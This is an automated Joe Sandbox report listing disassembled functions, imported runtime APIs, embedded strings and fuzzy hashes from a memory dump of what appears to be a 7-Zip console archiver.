Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ExceptionThrow$freemallocmemmove
String ID: Unsupported switch postfix -stm
API String ID: 3321538808-3553869907
Opcode ID: 3ba05a05aa46c940f23773d9ce02a237b61b661c07e43798567cd67be696040c
Instruction ID: 8efa87f100f08ffd96064314bd03094cb97569de3889803feab662d19aabfc32
Opcode Fuzzy Hash: 3ba05a05aa46c940f23773d9ce02a237b61b661c07e43798567cd67be696040c
Instruction Fuzzy Hash: DCF02B7670029486EB38DF86E48166DB371F7857D4F54C020EB8A07711CE39D8C6C705

Function 00C42A9C Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00C42AFD

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

memmove.MSVCRT ref: 00C42ACE
free.MSVCRT ref: 00C42AD6

Strings

(LP-, xrefs: 00C42A9E

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ExceptionThrow$freemallocmemmove
String ID: (LP-
API String ID: 3321538808-3833670221
Opcode ID: dee4ccff2bc834ea296647a4ce6a28e4725f2e66e5f6a145a280ef756b46b2c7
Instruction ID: aa4f019069e087e46428e2c9a8bd8e0f119ba8ba11f80961d16c0a30cfe4517f
Opcode Fuzzy Hash: dee4ccff2bc834ea296647a4ce6a28e4725f2e66e5f6a145a280ef756b46b2c7
Instruction Fuzzy Hash: 18F0F07230024486DA24EF4AE88165DB361F7847D8F54C021EF8A03710DE38C886CB04

Function 00C8BF24 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C8BF61
fputs.MSVCRT ref: 00C8BF71
fputs.MSVCRT ref: 00C8BF7D

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

free.MSVCRT ref: 00C8BF91

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$fputcfree
String ID:
API String ID: 3819637083-0
Opcode ID: eae9d0b3d4822125a0af48fe465b7a3762b83d2397cc5a4e6371e8094d4e32a9
Instruction ID: 38385e2d18531eb163458e2045e7038ef495da90070f12d37b02b283aa3e4e4e
Opcode Fuzzy Hash: eae9d0b3d4822125a0af48fe465b7a3762b83d2397cc5a4e6371e8094d4e32a9
Instruction Fuzzy Hash: 72F0F46630494081EA21EF26E8557696331BB99BF4F449321EEAE077E4DE28C5469704

Function 00C83E08 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 33COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C83E51

Part of subcall function 00C82B60: CompareFileTime.KERNEL32(?,?,?,00000000,00C83E64), ref: 00C82BA5

Strings

alternate streams, xrefs: 00C83E2D
streams, xrefs: 00C83E64
files, xrefs: 00C83E14

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: CompareFileTimememmove
String ID: alternate streams$files$streams
API String ID: 1303509325-806849385
Opcode ID: be883e452b7650b9078f8113c3e616bbeedde65b08412c4df6c6f1594ccd81f0
Instruction ID: 910245b6c236ca1ead89318cbfc1d8689fd8a96116b7e352a6a67a4f9873945c
Opcode Fuzzy Hash: be883e452b7650b9078f8113c3e616bbeedde65b08412c4df6c6f1594ccd81f0
Instruction Fuzzy Hash: 1AF062523105A962FB24FB26D509F996321FB45FC8FC06112AA0D07E949F38C79AC708

Function 00C46618 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32 ref: 00C46676

Part of subcall function 00C4339C: free.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433D7
Part of subcall function 00C4339C: memmove.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433F2

LocalFree.KERNEL32 ref: 00C46698

Strings

Error #, xrefs: 00C46714

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: FormatFreeLocalMessagefreememmove
String ID: Error #
API String ID: 2451246624-1299485822
Opcode ID: 99fd73fc856dad1e88b4ccb444db1a8165f30a332f2d2e9cd02aa09722ea5f5f
Instruction ID: 4a42f24067ce0d7debd7ab2cee324a052a0df3af471f7502fde8821f20c07678
Opcode Fuzzy Hash: 99fd73fc856dad1e88b4ccb444db1a8165f30a332f2d2e9cd02aa09722ea5f5f
Instruction Fuzzy Hash: CE21663221428086DB20CF15E04479D73B1F7C6BA4F848226DB9847798DFBCC5C9CB11

Function 00C449A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

UNC, xrefs: 00C44A59

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID:
String ID: UNC
API String ID: 0-337201128
Opcode ID: caa09ef79893b1e0c723e2139b0e345877b12b567cf7e66d5e2a6cc5cce0967e
Instruction ID: 82171e902505ad80bcf8d4c8c4bf0f1bd02ec8d7df55b309f403960f68085e88
Opcode Fuzzy Hash: caa09ef79893b1e0c723e2139b0e345877b12b567cf7e66d5e2a6cc5cce0967e
Instruction Fuzzy Hash: BA21CD36740654C2EF28CB56D480B682364F744B84F34912BDF6947720EF39CD85E304

Function 00C805F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C80661
free.MSVCRT ref: 00C80680

Part of subcall function 00C8B1C8: memset.MSVCRT ref: 00C8B20D
Part of subcall function 00C8B1C8: fputs.MSVCRT ref: 00C8B232

Strings

ERROR: , xrefs: 00C8065A

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: ERROR:
API String ID: 2276422817-977468659
Opcode ID: 0a7d431d3d93fe7a35051c5d28ee4a1495dab2c659ca31c2bdbd5e7bd3781aa1
Instruction ID: 66ca3d82ad3a58d1e397dc2de53e1601b7d066505ebff0f35f0a7b8b4dc175a3
Opcode Fuzzy Hash: 0a7d431d3d93fe7a35051c5d28ee4a1495dab2c659ca31c2bdbd5e7bd3781aa1
Instruction Fuzzy Hash: E4118262301A4041DA34FF22E95676E6330BB85BE8F884625BE6B477A5DF3CD845D344

Function 00C4B45C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 00C4B4AA
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 00C4B4F8

Strings

Path64, xrefs: 00C4B45C

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: QueryValue
String ID: Path64
API String ID: 3660427363-321863482
Opcode ID: ce2d8586953f7850c663cd00a09a8bd9eb970d832503358bfea85760a13bb2cd
Instruction ID: 179118d3571edb3c2e8b2cbdf743dce25da1c414d0673e539bd2ab569d9f93c5
Opcode Fuzzy Hash: ce2d8586953f7850c663cd00a09a8bd9eb970d832503358bfea85760a13bb2cd
Instruction Fuzzy Hash: D4214C73615640C7EB14CF25E45472EB7A0F794B84F60912AEB8907BA8DB3CC985CF40

Function 00C8427C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C842DF

Strings

Can not open encrypted archive. Wrong password?, xrefs: 00C84297
Can not open the file as archive, xrefs: 00C842D8

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs
String ID: Can not open encrypted archive. Wrong password?$Can not open the file as archive
API String ID: 1795875747-2399861261
Opcode ID: f39ddb69ac3a88cb739d838ad3232ca34d4044717459bc95227d5b49b5a19886
Instruction ID: f843345c9bbe78729f3d1d7780a087971022b1c2c1adf85626bfd36c62cf4eaf
Opcode Fuzzy Hash: f39ddb69ac3a88cb739d838ad3232ca34d4044717459bc95227d5b49b5a19886
Instruction Fuzzy Hash: D801A2A2320A4692EF18FF2AE84175E5321BB45FC9F94A032FE0B47355DE38C595D304

Function 00C493D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 00C4941A
wcscmp.MSVCRT ref: 00C49430

Strings

\??\, xrefs: 00C493E6

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: wcscmp
String ID: \??\
API String ID: 3392835482-3047946824
Opcode ID: 877544d1592a68484731fd63782ff1f2adae2ffaa1fbb9196b429caabd26276c
Instruction ID: 7cbc343d6170e9a15f9a09fd80ee6c6bca6a99467add3edc79e369e8c73797a1
Opcode Fuzzy Hash: 877544d1592a68484731fd63782ff1f2adae2ffaa1fbb9196b429caabd26276c
Instruction Fuzzy Hash: 47F0906230055497DE249B2AD9A032E1321FB84B95F90A836CB5A47A14DF34C9FBD314

Function 00C81FE8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C82011

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

Strings

Scan, xrefs: 00C82036
Scanning, xrefs: 00C8200A

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputcfputs
String ID: Scan$Scanning
API String ID: 269475090-1436252306
Opcode ID: a333a3b1a96c340ffed71d634d5d0848bf1607734463fe365d44e1a31faf7854
Instruction ID: 5c79d188b2350048176a1b42a3cd4bbf1913df2cd346bd28a8d7e2116f314aff
Opcode Fuzzy Hash: a333a3b1a96c340ffed71d634d5d0848bf1607734463fe365d44e1a31faf7854
Instruction Fuzzy Hash: 32F0B47270194191EB05EF24C94D76C2360E740B8CF8882319B0E4B2A4DF28CAC6C310

Function 00C4AFA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32 ref: 00C4AFC7
_CxxThrowException.MSVCRT ref: 00C4AFEE

Strings

out of memory, xrefs: 00C4AFD6

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: AllocExceptionStringThrow
String ID: out of memory
API String ID: 3773818493-2599737071
Opcode ID: ce28fcea7ee96d73b8b783164c7ae5dc4e7789fb7bb4cf3f4b3e7c6f29d84c20
Instruction ID: a0c6dc40b861464985b0fe15a08af3829ba845aff59b2087a974b9bc605eec10
Opcode Fuzzy Hash: ce28fcea7ee96d73b8b783164c7ae5dc4e7789fb7bb4cf3f4b3e7c6f29d84c20
Instruction Fuzzy Hash: DCF03062301B8592EB04DF15E985B1C7370FB89788F64D525DB5C07B24EF79C8A9C705

Function 00C8B7C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C8B7E4

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

Strings

Scanning the drive:, xrefs: 00C8B7DD
Scan , xrefs: 00C8B7F6

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputcfputs
String ID: Scan $Scanning the drive:
API String ID: 269475090-1085461122
Opcode ID: a2747e59b778fe73a74f06889e3ba295ca3352f4c342e3460064b847c51e33a6
Instruction ID: 281920f0a7db0716ab0f7184388745b666a7c9d186e0bfaedc6700104d41520c
Opcode Fuzzy Hash: a2747e59b778fe73a74f06889e3ba295ca3352f4c342e3460064b847c51e33a6
Instruction Fuzzy Hash: C6E08665312D4281EE01DF29DA8579C1331AB84BE8F949621AE1D47224EF18C99AC314

Function 00C6EC5C Relevance: 5.3, APIs: 4, Instructions: 261COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C6ECEE
free.MSVCRT ref: 00C6ECF6
free.MSVCRT ref: 00C6EFE3
free.MSVCRT ref: 00C6EFEB

Part of subcall function 00C44D78: free.MSVCRT ref: 00C44DBC
Part of subcall function 00C44D78: free.MSVCRT ref: 00C44DC4
Part of subcall function 00C44D78: free.MSVCRT ref: 00C44EAC

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2568c4c8a93fed0a7db5756fe4b5abc77c557bdbfdb6e41abb2639136c3796b8
Instruction ID: df2273d16f5f4dee5ea9a5ad6cd71c85a564ebde3004cc11306554667bca500e
Opcode Fuzzy Hash: 2568c4c8a93fed0a7db5756fe4b5abc77c557bdbfdb6e41abb2639136c3796b8
Instruction Fuzzy Hash: F5A1CE3A314B8096CB30DF26D4843AE7760F794B90F144126EFAA477A5EB3ACA95C701

Function 00C459E0 Relevance: 5.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C45ABB
free.MSVCRT ref: 00C45ACE
free.MSVCRT ref: 00C45AD6
memmove.MSVCRT ref: 00C45AEE

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 690fc6323045f1499638e60008430e199e5b92b8d4d6359a2f546a67527e5006
Instruction ID: b0853a238597a43541856b2ab84f8cf14a26ddcdb49629fcd9cf7396a95a9d0f
Opcode Fuzzy Hash: 690fc6323045f1499638e60008430e199e5b92b8d4d6359a2f546a67527e5006
Instruction Fuzzy Hash: 6C41A873204E8097CB20EF22E49106EB771F781FE4B544211EB6A27B6ADF74C996DB01

Function 00C725DC Relevance: 5.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C7279A
free.MSVCRT ref: 00C727A7
free.MSVCRT ref: 00C727B4
free.MSVCRT ref: 00C727C1
free.MSVCRT ref: 00C733CE
free.MSVCRT ref: 00C733DB
free.MSVCRT ref: 00C733E8
free.MSVCRT ref: 00C733F5
free.MSVCRT ref: 00C73430
free.MSVCRT ref: 00C7343B
free.MSVCRT ref: 00C73444
free.MSVCRT ref: 00C7344F
free.MSVCRT ref: 00C7345D
free.MSVCRT ref: 00C73484
free.MSVCRT ref: 00C7348D
free.MSVCRT ref: 00C7349B
free.MSVCRT ref: 00C734A6

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2d395fef6bf6d2161f205ad2dbd11117f8f32b2c6da05af5b4328dea44ce9941
Instruction ID: 84faf444bf8ddeef2e41daf86734f643ce9771feb057bdeb58c17c60cf760f97
Opcode Fuzzy Hash: 2d395fef6bf6d2161f205ad2dbd11117f8f32b2c6da05af5b4328dea44ce9941
Instruction Fuzzy Hash: FA419B665086C082CB798B32E050AEEBBB5F385784F45D007DAED53B5ACE39CA849B41

Function 00C56B58 Relevance: 5.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C56B98
free.MSVCRT ref: 00C56C80
free.MSVCRT ref: 00C56C88
free.MSVCRT ref: 00C56C9E

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 87ddd31ae5fda347235228c36177d9caa1af38e3f2d78a0fbcc62b30e0d1f058
Instruction ID: be6624f6c8a5adcd0bae61ea955d578c8ea29cb1ba0b300ea88f387b57cfb063
Opcode Fuzzy Hash: 87ddd31ae5fda347235228c36177d9caa1af38e3f2d78a0fbcc62b30e0d1f058
Instruction Fuzzy Hash: 5D31067B61168086CB20DF25D4417AD7760F7C8FE5F984226EEAA47794DB34C986C708

Function 00C6A034 Relevance: 5.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C6A070
free.MSVCRT ref: 00C6A078
free.MSVCRT ref: 00C6A0E2
memmove.MSVCRT ref: 00C6A118

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 67c0837a8ac08b8e7b81d59f219567057fac08a4c31a6893a672a0fe60d58eed
Instruction ID: 07553304acbdeb45bc77b400fab8566594f684e4630db403fe21a09a2d4629e4
Opcode Fuzzy Hash: 67c0837a8ac08b8e7b81d59f219567057fac08a4c31a6893a672a0fe60d58eed
Instruction Fuzzy Hash: F821F623201A8085DB25AF27EC9572D6794BB46B94F5C8124EF6A1B381DF74CD82D712

Function 00C44B58 Relevance: 5.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C44BA5
free.MSVCRT ref: 00C44BAD
memmove.MSVCRT ref: 00C44BEA
free.MSVCRT ref: 00C44BF2

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 7b8be88fbbd6b5478f1b8fe33e7292913211728ee70c3487ba27a43df7afdd97
Instruction ID: 24826db773fb3f6c6dc8cf1c983ad00f00e977da04d74b9eb5e6a910fb6733a4
Opcode Fuzzy Hash: 7b8be88fbbd6b5478f1b8fe33e7292913211728ee70c3487ba27a43df7afdd97
Instruction Fuzzy Hash: AF21AE37612A9486CB15EF2AD41172DB361F784FE8B288225EE690B398DF38CC42C350

Function 00C57780 Relevance: 5.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C5779B
LeaveCriticalSection.KERNEL32 ref: 00C577A7
EnterCriticalSection.KERNEL32 ref: 00C5783C
LeaveCriticalSection.KERNEL32 ref: 00C57848

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 905f98d841eae4ab66d526709c79df53eb5328ecb6ed6fba7ada2edbd53a37aa
Instruction ID: dc5afae3b6921080f7612a3d6306b3017346827cb4a25643fb07da92b4088d48
Opcode Fuzzy Hash: 905f98d841eae4ab66d526709c79df53eb5328ecb6ed6fba7ada2edbd53a37aa
Instruction Fuzzy Hash: 7C21453A304B4097DB209F2AE8946583370F748B99F295226DF4D47B51DF38D9A9C704

Function 00C6E7A0 Relevance: 5.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

free.MSVCRT ref: 00C6E81E
